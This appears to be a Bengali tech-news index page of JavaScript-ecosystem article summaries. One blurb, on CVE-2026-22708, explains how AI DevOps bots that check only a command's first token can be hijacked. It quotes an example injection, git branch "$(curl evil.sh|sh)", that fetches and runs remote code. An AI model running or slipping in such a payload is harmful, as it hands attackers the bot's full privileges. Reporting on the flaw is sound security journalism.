GyaanSetu জাভাস্ক্রিপ্ট

জাভাস্ক্রিপ্ট এবং টাইপস্ক্রিপ্ট ইকোসিস্টেম।

90 articlesDeep, practical knowledge

এআই-চালিত ডেভঅপস বটগুলোর দুর্বলতা প্রকাশ: প্রিফিক্স হোয়াইটলিস্ট ব্যবহার করে আক্রমণকারীরা যেকোনো কোড চালাতে পারে

CVE-2026-22708 প্রমাণ করে যে, এজেন্টগুলো যদি কমান্ডের শুধুমাত্র প্রথম টোকেনটি পরীক্ষা করে, তবে আর্গুমেন্টের মধ্যে লুকিয়ে রাখা পেলোড (যেমন: git branch "$(curl evil.sh|sh)") দিয়ে তাদের বিভ্রান্ত করা সম্ভব—যা আক্রমণকারীদের অটোমেশন বটের সমান ক্ষমতা প্রদান করে।

জাভাস্ক্রিপ্ট · 4 min read

WebFPGA মাত্র ৩০ mW-এ ৪ ms-এর মধ্যে TinyML ইনফারেন্স প্রদান করে – কোনো ডেটাই ব্রাউজার থেকে বাইরে যায় না

WebFPGA JavaScript থেকে একটি Lattice iCE40-UP5K FPGA প্রোগ্রাম করার জন্য WebUSB API ব্যবহার করে, যা মাত্র কয়েক দশ মিলিওয়াট বিদ্যুৎ খরচ করে ১০ মিলিসেকেন্ডের কম সময়ে TinyML ইনফারেন্স সম্পন্ন করতে সক্ষম এবং সমস্ত ডেটা ডিভাইসেই সুরক্ষিত রাখে।

জাভাস্ক্রিপ্ট · 2 min read

লিক হওয়া স্ট্রাইপ কীয়ের মাধ্যমে ৬৬৯টি ভেন্ডরের গ্রাহকের তথ্য চুরি ও জালিয়াতিমূলক চার্জের ঝুঁকি

ফাঁস হওয়া এই কীগুলোর মাধ্যমে আক্রমণকারীরা চার্জ তৈরি, ইনভয়েস সংগ্রহ এবং ব্যক্তিগত তথ্য হাতিয়ে নিতে পারে, যা চার্জব্যাক, জরিমানা এবং ব্র্যান্ডের সুনামের ক্ষতির ঝুঁকি তৈরি করছে। দ্রুত পদক্ষেপ হিসেবে ডটফাইল ব্লক করা, প্রতিটি কী রোটেশন করা এবং সিক্রেটগুলোকে একটি ভল্টে স্থানান্তর করা প্রয়োজন।

জাভাস্ক্রিপ্ট · 4 min read

LibreOffice 26.8 প্রকাশ করল গোপনীয়তা-কেন্দ্রিক রোডম্যাপ, এআই ক্লাউড কল এড়িয়ে

নতুন এই রিলিজটি জটিল স্ক্রিপ্টের জন্য প্যারাগ্রাফ লেআউট আরও উন্নত করেছে, একটি সহজতর ড্রাফট ভিউ যুক্ত করেছে এবং ODF-DOCX/XLSX কনভার্সন উন্নত করেছে; পাশাপাশি সিকিউরিটি প্যাচ এবং ম্যাক্রো স্যান্ডবক্সিং অন-প্রিমিস ডকুমেন্টস সুরক্ষিত রাখতে সাহায্য করবে।

জাভাস্ক্রিপ্ট · 2 min read

নতুন রাস্ট বাইনারির মাধ্যমে TypeScript 7 টাইপ-চেকিং ল্যাটেন্সি ৪০% কমিয়ে এনেছে

রাস্ট দিয়ে লেখা এই ইঞ্জিনটি একটি আলাদা প্রসেসে চলে, যা টাইপ অ্যানালাইসিসকে UI থ্রেড থেকে বিচ্ছিন্ন করে দেয়। এর সাথে যুক্ত হয়েছে আরও উন্নত ক্যাশিং ব্যবস্থা, যা শুধুমাত্র পরিবর্তিত ফাইলগুলো পুনরায় পরীক্ষা করে, ফলে ইনক্রিমেন্টাল বিল্ড আরও দ্রুততর ও মসৃণ হয়।

জাভাস্ক্রিপ্ট · 2 min read

Vue 3.6-এর Vapor Mode Virtual DOM পরিহার করছে, গেমের পারফরম্যান্স বাড়াচ্ছে

Vue 3.6-এর আসন্ন Vapor Mode সিঙ্গেল-ফাইল কম্পোনেন্টগুলোকে সরাসরি DOM কলে কম্পাইল করে, যা virtual-DOM diff ধাপটিকে বাদ দিয়ে দেয়। প্রতি সেকেন্ডে কয়েক ডজন বার রিপেইন্ট হওয়া বেঞ্চমার্ক গেমগুলোর ক্ষেত্রে এই পরিবর্তন রেন্ডার টাইম কমিয়ে দেয় এবং বান্ডেল সাইজ ছোট করে, যদিও কম-ফ্রিকোয়েন্সি সম্পন্ন UI-তে এর প্রভাব খুব সামান্য।

জাভাস্ক্রিপ্ট · 4 min read

ক্লড চারটি এজেন্ট টুলকে GA-তে নিয়ে এসেছে, যা এন্টারপ্রাইজগুলোর জন্য বিটা হেডার সংক্রান্ত বাধা দূর করেছে

বিটা-অনলি রিকোয়েস্ট হেডারগুলো চলে যাওয়ায়, এন্টারপ্রাইজগুলো অবশেষে আইনি এবং নিরাপত্তা সংক্রান্ত বাধাগুলো কাটিয়ে উঠতে পারবে। কম্পিউটার-ইউজ টুলের নতুন ব্যাচ-অ্যাকশন মোড কম ল্যাটেন্সি এবং কম টোকেন ব্যবহারের প্রতিশ্রুতি দিলেও, এই সাশ্রয়টি যাচাই করা প্রয়োজন।

জাভাস্ক্রিপ্ট · 3 min read

TanStack Table v9-এর অপ্ট-ইন ফিচারের মাধ্যমে বান্ডেল সাইজ কমে এখন মাত্র ~৫ KB

নতুন বিটা ভার্সনটি আপনাকে শুধুমাত্র আপনার প্রয়োজনীয় গ্রিড ফিচারগুলো ইমপোর্ট করার সুযোগ দেয়—এতে সর্টিং কোড পুরোপুরি বাদ দেওয়া সম্ভব, ডাউনলোড সাইজ কমিয়ে প্রায় ৫ KB করা যায় এবং মেইন-থ্রেড ওয়ার্ক এড়িয়ে চলা যায় যা আগে INP স্কোর কমিয়ে দিত।

জাভাস্ক্রিপ্ট · 2 min read

Meteor 3.5 uWebSockets.js সুইচের মাধ্যমে CPU ব্যবহার ৯% কমায় এবং থ্রুপুট দ্বিগুণ করে

Meteor 3.5 একটি প্লাগেবল DDP ট্রান্সপোর্ট প্রবর্তন করেছে যা DDP_TRANSPORT=uws এনভায়রনমেন্ট ভেরিয়েবলের মাধ্যমে uWebSockets.js-এ পরিবর্তন করা সম্ভব। এটি RPC-নির্ভর অ্যাপ্লিকেশনের জন্য ১.৬ গুণ পর্যন্ত বেশি থ্রুপুট, ৯% কম CPU, ১১% কম RAM এবং ২৬% কম GC পজ নিশ্চিত করে।

জাভাস্ক্রিপ্ট · 2 min read

Next.js-এ অ্যাডভান্সড সার্ভার সাইড ক্যাশিং আয়ত্ত করা

Next.js-এ অ্যাডভান্সড সার্ভার সাইড ক্যাশিং আয়ত্ত করা। একটি Next.js অ্যাপ স্কেল করার জন্য শুধুমাত্র SSR এবং SSG-এর মধ্যে বেছে নেওয়া যথেষ্ট নয়। আপনার ডেটা যত বাড়বে, তা কমানোর জন্য আপনার অ্যাডভান্সড ক্যাশিং প্রয়োজন হবে...

জাভাস্ক্রিপ্ট · 3 min read

Chrome DevTools ডিবাগার Playwright আপলোডের গতি ২০ গুণেরও বেশি কমিয়ে দেয়

যখন Coffer Playwright-এর মাধ্যমে একটি Chrome DevTools ডিবাগার সংযুক্ত করেছিল, তখন তাদের fetch-ভিত্তিক আপলোডের গতি ৬০০ Mbps থেকে কমে মাত্র ১১৩ Mbps-এ নেমে আসে—২০ গুণেরও বেশি এই ধীরগতির কারণে তাদের বেঞ্চমার্ক ফলাফল পুরোপুরি উল্টে যায়।

জাভাস্ক্রিপ্ট · 3 min read

SharedArrayBuffer সক্রিয় করতে গিয়ে আমাকে সব থার্ড-পার্টি স্ক্রিপ্ট বাদ দিতে হয়েছে

COOP এবং COEP হেডার যোগ করার ফলে প্রকৃত মাল্টিথ্রেডিংয়ের সুবিধা পাওয়া গেলেও এটি তাৎক্ষণিকভাবে অ্যানালিটিক্স, গুগল ফন্টস, ইউটিউব এমবেড এবং OAuth পপ-আপগুলোকে ব্লক করে দেয়, যা আমাকে অ্যাসেটগুলো সেলফ-হোস্ট করতে এবং ফ্রন্ট-এন্ড একদম শুরু থেকে নতুন করে লিখতে বাধ্য করেছে।

জাভাস্ক্রিপ্ট · 4 min read

ব্রাউজার বনাম নোড: যেখানে ইভেন্ট লুপের পার্থক্য তৈরি হয়

ব্রাউজার বনাম নোড: যেখানে ইভেন্ট লুপের পার্থক্য তৈরি হয়। ইভেন্ট লুপ জাভাস্ক্রিপ্ট ল্যাঙ্গুয়েজ স্পেসিফিকেশনের অংশ নয়। এটি হোস্ট এনভায়রনমেন্টের একটি অংশ। ব্রাউজার এবং নোড এটি ভিন্নভাবে ইমপ্লিমেন্ট করে...

জাভাস্ক্রিপ্ট · 4 min read

WooCommerce Social Login-এর ত্রুটির মাধ্যমে হ্যাকাররা যেকোনো WordPress অ্যাকাউন্ট দখল করতে পারে

CVE 2026 8457: WooCommerce Social Login Auth Bypass। WPWeb Elite-এর WooCommerce Social Login প্লাগইনটিতে একটি মারাত্মক নিরাপত্তা ত্রুটি রয়েছে। এই দুর্বলতার CVSS স্কোর হলো ৯.…

জাভাস্ক্রিপ্ট · 3 min read

Next.js 16.3 তাৎক্ষণিক কানেক্টিভিটি শনাক্ত করার জন্য পরীক্ষামূলক useOffline হুক যুক্ত করেছে

এই হুকটি একটি বুলিয়ান রিটার্ন করে যা রিয়েল-টাইমে আপডেট হয়, ফলে কোনো ফেচ (fetch) ব্যর্থ হওয়ার জন্য অপেক্ষা না করেই আপনি মূল অ্যাপের পরিবর্তে একটি সাধারণ “You are offline” মেসেজ দেখাতে পারেন, তবে এটি নিজে থেকে ক্যাশিং বা ব্যাকগ্রাউন্ড সিঙ্ক প্রদান করে না।

জাভাস্ক্রিপ্ট · 2 min read

AWS Bedrock Proxy ব্যবহার করে Claude Code ব্যবহারকারীরা টোকেন বিল ২০%–৩৫% কমিয়ে আনছেন

একজন ডেভেলপারের তৈরি ডকারাইজড (Dockerised) LiteLLM প্রক্সি Claude Code CLI-কে Bedrock-এর Amazon-এর Nova মডেলের সাথে কথা বলতে সক্ষম করে। এটি কাজের ধারা অপরিবর্তিত রেখে Anthropic-এর মূল্যের তুলনায় শেখার পর্যায়ের খরচ এক-তৃতীয়াংশ পর্যন্ত কমিয়ে দেয়।

জাভাস্ক্রিপ্ট · 3 min read

R8 Bytecode Rewrite-এর মাধ্যমে AGP 9.2.0 Kotlin Coroutine-এর গতি দ্বিগুণ করেছে

Android Gradle Plugin 9.2.0-এর সাথে থাকা R8 এখন reflective AtomicFieldUpdater কলগুলোকে একটি মাত্র Unsafe instruction দিয়ে প্রতিস্থাপন করছে, যা সিনক্রোনাইজেশন খরচ কমিয়ে দিচ্ছে এবং কোনো সোর্স কোড পরিবর্তন ছাড়াই প্রায় ২ গুণ দ্রুততর channel, mutex এবং StateFlow অপারেশন নিশ্চিত করছে।

জাভাস্ক্রিপ্ট · 4 min read

মে ২০২৬ রিলিজের মাধ্যমে SvelteKit রিমোট ফাংশন এবং নেটিভ TypeScript 6 সাপোর্ট যুক্ত করছে

মে ২০২৬ আপডেটটি ডেভেলপারদের একটি সাধারণ async কলের মাধ্যমে সার্ভার-সাইড লজিক কল করার সুবিধা দেবে, পাশাপাশি TypeScript 6 নিয়ে আসছে satisfies অপারেটর, দ্রুততর ইনক্রিমেন্টাল বিল্ড এবং আরও কঠোর রুট টাইপিং—যা সবকিছুই করা যাবে SvelteKit CLI ব্যবহার করেই।

জাভাস্ক্রিপ্ট · 3 min read